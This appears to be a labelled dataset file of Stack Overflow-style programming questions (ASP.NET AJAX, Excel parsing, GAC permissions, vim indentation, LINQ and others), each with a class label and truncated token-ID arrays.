How to invoke .net page methods from javascript without jquery ? === I've been tryin' to use call Page Methods from my own javascript code but it doesn't work. If I use JQuery AJAX Method I can sucessfully call the Page Methods, but the problem is that I need to do this from my own Javascript code because in the place where I work we can't use Third Party Javascript Lybraries and we are building our own library. Whenever I use JQuery AJAX methods i get the result of the Page Method, and when I use my Custom JS methods I get Whole page back from the AJAX Request. There must be something different in the way JQuery handles AJAX requests. Does anyone know ? Below is the code I use to call the same Page Method with JQuery wich works and the code that I'm using to call it on my own. === jQuery ==== // JScript File $(document).ready(function() { $("#search").click(function() { $.ajax({ type: "POST", url: "Account.aspx/GetData", data: "{}", contentType: "application/json; charset=utf-8", dataType: "json", success: function(msg) { // Substitui o conteúdo da DIV vom o retorno do Page Method. displayResult(msg); } }); }); }); === Custom JS === function getHTTPObject() { var xhr = false; if (window.XMLHttpRequest) { xhr = new XMLHttpRequest(); } else if (window.ActiveXObject) { try { xhr = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) { try { xhr = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { xhr = false; } } } return xhr; } function prepareLinks() { var btn = document.getElementById("search"); btn.onclick = function() { var url = "Account.aspx/GetData" return !grabFile(url); } } function grabFile(file) { var request = getHTTPObject(); if (request) { displayLoading(document.getElementById("result")); request.onreadystatechange = function() { parseResponse(request); }; //Abre o SOCKET request.open("GET", file, true); //Envia a requisição request.send(null); return true; } else { return false; } } function parseResponse(request) { if (request.readyState == 4) { if (request.status == 200 || request.status == 304) { var details = document.getElementById("result"); details.innerHTML = request.responseText; fadeUp(details,255,255,153); } } } function addLoadEvent(func) { var oldonload = window.onload; if (typeof window.onload != 'function') { window.onload = func; } else { window.onload = function() { if (oldonload) { oldonload(); } func(); } } } addLoadEvent(prepareLinks);
0
[ 2, 184, 20, 28371, 13, 9, 2328, 2478, 3195, 37, 8247, 8741, 366, 487, 8190, 93, 13, 60, 800, 3726, 3726, 31, 22, 195, 74, 1131, 108, 22, 20, 275, 645, 2478, 3195, 37, 51, 258, 8247, 8741, 1797, 47, 32, 1437, 22, 38, 170, 9, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Problem parsing an XLS file with C# === Ok, let's see if I can make this make sense. I have a program written that parses an Excel file and it works just fine. I use the following to get into the file: string FileToConvert = Server.MapPath(".") + "\\App_Data\\CP-ARFJN-FLAG.XLS"; string connectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" + FileToConvert + ";Extended Properties=Excel 8.0;"; OleDbConnection connection = new OleDbConnection(connectionString); connection.Open(); //this next line assumes that the file is in default Excel format with Sheet1 as the first sheet name, adjust accordingly OleDbDataAdapter adapter = new OleDbDataAdapter("SELECT * FROM [CP-ARFJN-FLAG$]", connection); and this works just fine. But when I try it on the actual file (it is supplied to me by another program) I get this error: System.Data.OleDb.OleDbException: External table is not in the expected format. at System.Data.OleDb.OleDbConnectionInternal..ctor(OleDbConnectionString constr, OleDbConnection connection) at System.Data.OleDb.OleDbConnectionFactory.CreateConnection(DbConnectionOptions options, Object poolGroupProviderInfo, DbConnectionPool pool, DbConnection owningObject) at System.Data.ProviderBase.DbConnectionFactory.CreateNonPooledConnection(DbConnection owningConnection, DbConnectionPoolGroup poolGroup) at System.Data.ProviderBase.DbConnectionFactory.GetConnection(DbConnection owningConnection) at System.Data.ProviderBase.DbConnectionClosed.OpenConnection(DbConnection outerConnection, DbConnectionFactory connectionFactory) at System.Data.OleDb.OleDbConnection.Open() at wetglobe.Page_Load(Object sender, EventArgs e) BUT, this is where I think the problem lies. If I take that file, and save it with my local Excel, first I get this popup: > CP-ARFJN-FLAG.XLS may contain features > that are not compatible with Text (Tab > delimited). Do you want to keep the > workbook in this format? > > - To Keep this format, which leaves > out any incompatible features, click > Yes. > - To preserve the features, click No. > Ten save a copy in the latest Excel > format. > - To see what might be lost, click > Help. If I click No and then save it as the current Excel format, the program will then work fine. So I am assuming this is saved in some crazy old Excel format? I suppose my questions would be: - How can I tell what Excel version saved this? - How can I parse it in its current state? - -or- Can I programatically save it as a newer version? I hope that is clear... Thank you.
0
[ 2, 1448, 2017, 18, 68, 40, 993, 7532, 3893, 29, 272, 5910, 800, 3726, 3726, 5854, 15, 408, 22, 18, 196, 100, 31, 92, 233, 48, 233, 1259, 9, 31, 57, 21, 625, 642, 30, 2017, 7202, 40, 20700, 3893, 17, 32, 693, 114, 1123, 9, 31...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
object editing and isDirty() flag === I'm working on a system were a user can edit existing objects ("Filter" domain objects to be exact) through a GUI. As a UI hint, we only want to enable the save button if the user really modified something to the object. I was wondering if anyone had any experience with this problem and what the best way would be to approach this. I was thinking about adding an isDirty() flag to the domain object. When a user starts editing a Filter, I would then make a copy, pass it to the GUI and let the user make modifications to the copy. A binding on the isDirty() flag would then enabled/disable the save button. On saving, the differences would then be merged into the original object and persisted. Additionaly, I was thinking what would happen if a user undos the changes he made to an object. The isDirty() flag should then return false. So I guess the only way to achieve this is to keep the original value of each property inside the domain object. Any ideas?
0
[ 2, 3095, 9510, 17, 25, 28067, 5, 6, 3157, 800, 3726, 3726, 31, 22, 79, 638, 27, 21, 329, 46, 21, 4155, 92, 9392, 3149, 3916, 13, 5, 7, 11924, 815, 7, 4603, 3916, 20, 44, 5340, 6, 120, 21, 9457, 9, 28, 21, 13, 5661, 6382, 1...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
ASP.NET: Popup browser windows and session cookies === SUMMARY: When browsing an ASP.NET website using Windows Explorer, popup windows do not "borrow" the session cookie from the parent window. DETAILS: I'm working on an ASP.NET website (.NET Framework 2.0). I use FormsAuthentication. It is a requirement to use cookies to handle the session. On a page I have a button. When the user clicks it, a popup window is opened. The popup displays an ASPX page that uses session variables, previously set from the parent browser window. I've been testing the website using IE (6, 7, 8) and Firefox 2.0. On all these browsers, the popup window has access to the same session as the parent browser window and everything works ok. I now have a bug raised by the client, stating that the popup window displays an error. Looking at the log file, I can see that it is a NullReferenceException at the moment the popup page tries to access the session variables. Talking with the client, he said that he opened the main website in Windows Explorer !!! I've managed to recreate the issue on a test machine and saw that the popup is using a new session. The machine must have Win XP an IE6 installed ! With IE7 the website works ok. Can you please help me sort this out? Thanks Ciprian
0
[ 2, 28, 306, 9, 2328, 45, 1675, 576, 16495, 1936, 17, 3723, 19396, 800, 3726, 3726, 14740, 45, 76, 10175, 68, 40, 28, 306, 9, 2328, 2271, 568, 1936, 8520, 15, 1675, 576, 1936, 107, 52, 13, 7, 6157, 5417, 7, 14, 3723, 19980, 37, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Retrieving values in reflected types from reflected properties === I need to access some members marked internal that are declared in a third party assembly. I would like to return a value from a particular internal property in a class. Then I'd like to retrieve a value from a property on that returned value. However, these properties return types that are also internal and declared in this third party assembly. The examples of doing this I've seen are simple and just show returning int or bool. Can someone please give some example code that handles this more complex case?
0
[ 2, 13, 6239, 3272, 8397, 4070, 19, 7037, 2551, 37, 7037, 3704, 800, 3726, 3726, 31, 376, 20, 1381, 109, 443, 2739, 3117, 30, 50, 2482, 19, 21, 422, 346, 1475, 9, 31, 83, 101, 20, 788, 21, 1923, 37, 21, 1498, 3117, 1354, 19, 21...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
When can I delete a file after using it in Response.WriteFile()? === Is the WriteFile call properly synchronous, and can I delete the file written immediately after the call?
0
[ 2, 76, 92, 31, 27448, 21, 3893, 75, 568, 32, 19, 1627, 9, 23716, 16877, 5, 6, 60, 800, 3726, 3726, 25, 14, 2757, 16877, 645, 7428, 13, 16023, 1291, 15, 17, 92, 31, 27448, 14, 3893, 642, 1375, 75, 14, 645, 60, 3, 0, 0, 0, 0...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
Is there an easy-to-use, free or inexpensive, web-based business rules app with a GUI? === I am looking for a web-based business rules app that I can use with clients. After I get them started, the client would be able to enter new rules. Assume that the client has good Excel skills (as an example of level of tech sophistication) but has little patience for formal languages or programming. **Cost:** $0-$500 The resulting models will NOT be executable. Mindmaps are very useful, but the star configuration doesn't lend itself to flowchart-type applications. BRML is much too technical, and requires the author to break down processes into page-sized chunks. **Example of a use case:** - A box of widgets arrives at the client office. The user finds the section of the model for receiving a box. Which vendor sent the box? What does the user do with the contents of the box? Which features of our back-end Web app have to be used to account for the new widgets? The app will help the user find the answers to these questions. If the answers are not there, the user can enter new rules into the app. This process must be simple enough that the business user sees the value of the effort in the short term, not as some big investment that might pay off far in the future. **Possible features:** - A decision-tree-like UI that the user can follow to find out what to do in a given situation. - A search feature that allows the user to find a rule without following the tree. - Expand/collapse so the user can see large, detailed sections of the tree as single units. Does such an app currently exist? Thanks very much in advance, Adam Leffert
4
[ 2, 25, 80, 40, 2010, 8, 262, 8, 3699, 15, 551, 54, 25985, 15, 2741, 8, 1281, 508, 1761, 4865, 29, 21, 9457, 60, 800, 3726, 3726, 31, 589, 699, 26, 21, 2741, 8, 1281, 508, 1761, 4865, 30, 31, 92, 275, 29, 7421, 9, 75, 31, 1...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
What is the difference between: image/x-citrix-pjpeg and image/pjpeg === Some files are uploaded with a reported MIME type: image/x-citrix-pjpeg They are valid jpeg files and I accept them as such. I was wondering however: why the MIME type is different. Is there any difference in the format? or was this mimetype invented by some light bulb at citrix ?
0
[ 2, 98, 25, 14, 2841, 128, 45, 1961, 118, 396, 8, 1892, 17224, 8, 21670, 20427, 17, 1961, 118, 21670, 20427, 800, 3726, 3726, 109, 6488, 50, 23782, 29, 21, 1117, 26193, 1001, 45, 1961, 118, 396, 8, 1892, 17224, 8, 21670, 20427, 59,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
How do you control architecture in an agile project? === How do you ensure that the project will be build with "good" design decisions enabling a flexible software architecture? How do you balance between completely leaving the architecture to the teams on one side, and let all architecture control to a few individuals on the other side? Do you have an "architecture group", "architecture label" or things like that?
0
[ 2, 184, 107, 42, 569, 2607, 19, 40, 27475, 669, 60, 800, 3726, 3726, 184, 107, 42, 4062, 30, 14, 669, 129, 44, 1895, 29, 13, 7, 3264, 7, 704, 6003, 13168, 21, 13568, 2306, 2607, 60, 184, 107, 42, 4468, 128, 1524, 1107, 14, 260...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Embedding Intellisense Xml Documentation in Assembly? === I have an assembly containing very thorough XML-based documentation, which is used through Sandcastle to generate the help-files for the product. We also use the output XML files for providing proper Intellisense in Visual Studio when programmers use the assembly obviously. In order to do this, it seems we have do both supply the user with the assembly ("assembly.dll") and the documentation ("assembly.xml"). Is it somehow possible to embed the documentation within the assembly, so we'd only have to supply the single assembly-file and Visual Studio would be able to extract the information? Maybe embedded as a resource or something like that?
0
[ 2, 11911, 69, 3258, 14635, 3159, 6498, 23504, 13945, 19, 1475, 60, 800, 3726, 3726, 31, 57, 40, 1475, 3503, 253, 17509, 23504, 8, 1281, 13945, 15, 56, 25, 147, 120, 1965, 16736, 20, 7920, 14, 448, 8, 16877, 18, 26, 14, 2374, 9, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
In C#, I have a IntPtr to a WIN32 WndProc. What is the syntax for calling it? === I'm subclassing a native window (the edit control of a combobox...) oldWndProc = SetWindowLong(HandleOfCbEditControl, GWL_WNDPROC, newWndProc); In my subclassing wndproc, I'll have code like this, right, but I can't figure out the syntax for calling the oldWndProc. int MyWndProc(int Msg, int wParam, int lParam) { if (Msg.m == something I'm interested in...) { return something special } else { return result of call to oldWndProc <<<< What does this look like?*** } }
0
[ 2, 19, 272, 5910, 15, 31, 57, 21, 19, 13726, 6384, 20, 21, 628, 3125, 619, 706, 15617, 9, 98, 25, 14, 22649, 26, 2555, 32, 60, 800, 3726, 3726, 31, 22, 79, 972, 1898, 68, 21, 1275, 1463, 13, 5, 124, 9392, 569, 16, 21, 22621,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
How to pass querystring to testAction in CakePHP 1.2? === In CakePHP putting a querystring in the url doesn't cause it to be automatically parsed and split like it normally is when the controller is directly invoked. For example: $this->testAction('/testing/post?company=utCompany', array('return' => 'vars')) ; will result in: [url] => /testing/post?company=utCompany While invoking the url directly via the web browser results in: [url] => Array ( [url] => testing/post [company] => utCompany ) Without editing the CakePHP source, is there some way to have the querystring split when running unit tests?
0
[ 2, 184, 20, 1477, 25597, 11130, 20, 1289, 8645, 19, 8390, 26120, 137, 9, 135, 60, 800, 3726, 3726, 19, 8390, 26120, 3873, 21, 25597, 11130, 19, 14, 287, 6362, 1437, 22, 38, 1679, 32, 20, 44, 7499, 2017, 18, 69, 17, 2132, 101, 32...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
How do I make vim indent java annotations correctly? === When indenting java code with annotations, vim insists on indenting like this: @Test public void ... I want the annotation to be in the same column as the method definition but I can't seem to find a way to tell vim to do that, except maybe using an indent expression but I'm not sure if I can use that together with regular cindent.
0
[ 2, 184, 107, 31, 233, 1790, 79, 19, 817, 38, 8247, 40, 1270, 7504, 12044, 60, 800, 3726, 3726, 76, 19, 817, 1203, 8247, 1797, 29, 40, 1270, 7504, 15, 1790, 79, 20098, 27, 19, 817, 1203, 101, 48, 45, 13, 1, 10543, 317, 11364, 1...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Tools for documenting a COM API written in C++ === We are in the process of documenting a newly minted API for our applications. The API has been written in C++ as a set of COM objects. We would like a tool that generates CHM documentation based on the comments attributed to each COM object method. I know of doxygen but don't really feel like the output is all that professional looking (event when output as a CHM). The vast majority of other solutions seem to be directed toward .NET-based APIs which, of course, wouldn't work for us.
0
[ 2, 4672, 26, 4492, 68, 21, 13, 960, 21, 2159, 642, 19, 272, 20512, 800, 3726, 3726, 95, 50, 19, 14, 953, 16, 4492, 68, 21, 2771, 9728, 69, 21, 2159, 26, 318, 3767, 9, 14, 21, 2159, 63, 74, 642, 19, 272, 20512, 28, 21, 309, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Why is ASP.NET failing due to permissions on GAC? === I'm trying to run an ASP.NET 2.0 application on an XP machine. As far as I know, everything is configured correctly. However, I receive the following message: > Server Application Unavailable And two events appear in the Application event log each time: > aspnet_wp.exe (PID: 3352) stopped > unexpectedly. > Failed to execute the request because > the ASP.NET process identity does not > have read permissions to the global > assembly cache. Error: 0x80070005 > Access is denied. Previously, ASP.NET applications worked fine on this machine. I've tried the following steps, with no luck: - I've granted read permissions on the site home directory to the ASPNET account - I've reinstalled ASP.NET 2.0 using aspnet_regiis -i - I've granted permissions to the ASPNET account using aspnet_regiis -ga &lt;my machine name&gt;\ASPNET - I've granted read permissions to the GAC to the ASPNET account using CACLS %WINDIR%\assembly /e /t /p &lt;my machine name&gt;\ASPNET:R - I've set the ASP.NET version for the site to 2.0 within IIS I'm not sure what else I can do!
0
[ 2, 483, 25, 28, 306, 9, 2328, 7250, 397, 20, 5572, 18, 27, 4369, 150, 60, 800, 3726, 3726, 31, 22, 79, 749, 20, 485, 40, 28, 306, 9, 2328, 172, 9, 387, 3010, 27, 40, 23045, 1940, 9, 28, 463, 28, 31, 143, 15, 796, 25, 28895...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Solution: Per application, or per application suite. === Often multiple applications share a large codebase of libraries that change often in development. In these cases, I prefer to create a solution named after the suite, and include separate projects for each application and the shared libraries. Is this a good approach? How do others structure their code bases for things like a suite of applications?
0
[ 2, 4295, 45, 416, 3010, 15, 54, 416, 3010, 6160, 9, 800, 3726, 3726, 478, 1886, 3767, 1891, 21, 370, 1797, 8436, 16, 8649, 30, 753, 478, 19, 522, 9, 19, 158, 1871, 15, 31, 6369, 20, 1600, 21, 4295, 377, 75, 14, 6160, 15, 17, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Find all storage devices attached to a Linux machine === I have a need to find all of the writable storage devices attached to a given machine, **whether or not** they are mounted. The dopey way to do this would be to *try* every entry in /dev that corresponds to a writable devices (hd* and sd*). Is there a better solution, or should I stick with this one?
0
[ 2, 477, 65, 4326, 4690, 3638, 20, 21, 13024, 1940, 800, 3726, 3726, 31, 57, 21, 376, 20, 477, 65, 16, 14, 20127, 579, 4326, 4690, 3638, 20, 21, 504, 1940, 15, 13, 1409, 26340, 54, 52, 1409, 59, 50, 4897, 9, 14, 107, 20375, 161...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
What is more readable? === I have these two pieces of code, wich one is more readable? 1. foreach decimal technicalPremium = 0; foreach (Risk risk in risks) { technicalPremium = technicalPremium + risk.TechnicalPremium; } return technicalPremium; 2. linq return risks.Sum(risk => risk.TechnicalPremium);
0
[ 2, 98, 25, 91, 1302, 579, 60, 800, 3726, 3726, 31, 57, 158, 81, 2491, 16, 1797, 15, 13, 13583, 53, 25, 91, 1302, 579, 60, 137, 9, 26, 14322, 26380, 2447, 3515, 79, 2187, 800, 713, 73, 26, 14322, 13, 5, 20989, 2029, 19, 12176, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
